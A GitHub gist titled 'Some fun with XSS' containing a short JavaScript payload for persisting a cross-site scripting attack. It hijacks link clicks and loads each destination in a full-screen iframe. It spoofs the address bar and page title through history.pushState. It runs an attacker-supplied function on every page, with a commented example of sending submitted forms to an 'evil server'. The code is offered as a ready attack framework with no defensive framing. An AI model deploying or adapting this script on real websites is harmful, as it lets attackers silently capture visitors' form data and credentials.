Skip to content

Instantly share code, notes, and snippets.

@morten-olsen
Last active August 29, 2015 14:13
Show Gist options
  • Select an option

  • Save morten-olsen/a803be92cfca606b242e to your computer and use it in GitHub Desktop.

Select an option

Save morten-olsen/a803be92cfca606b242e to your computer and use it in GitHub Desktop.
Some fun with XSS
(function IWillHuntYou () {
var stupidUser = false, // Never say that I am not an optimist
attack = function (window) {
// Add your attack here, It will be called each time a new page is loaded
// Example:
// window.document.documentElement.addEventListener('submit', function (evt) {
// sendTargetFormToEvilServerBeforeSubmitting();
// });
};
// --------- All the boring stuff --------- //
var infect = function (url) {
document.body.setAttribute('style', 'overflow: hidden');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.setAttribute('style', 'background: #fff; position: fixed; left: 0; top: 0; width: 100%; height: 100%; z-index: 999999');
document.body.appendChild(iframe);
iframe.addEventListener('load', function () {
window.document.title = iframe.contentWindow.document.title
history.pushState(null, null, iframe.contentWindow.location.href);
attack(iframe.contentWindow);
});
window.addEventListener('popstate', function () {
iframe.history.back();
});
}
if (stupidUser) {
infect(location.href);
} else {
document.documentElement.addEventListener('click', function (evt) {
if (evt.target.tagName === 'A') {
evt.preventDefault();
var href = evt.target.href;
infect(href);
return false;
}
});
attack(window);
}
}());
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment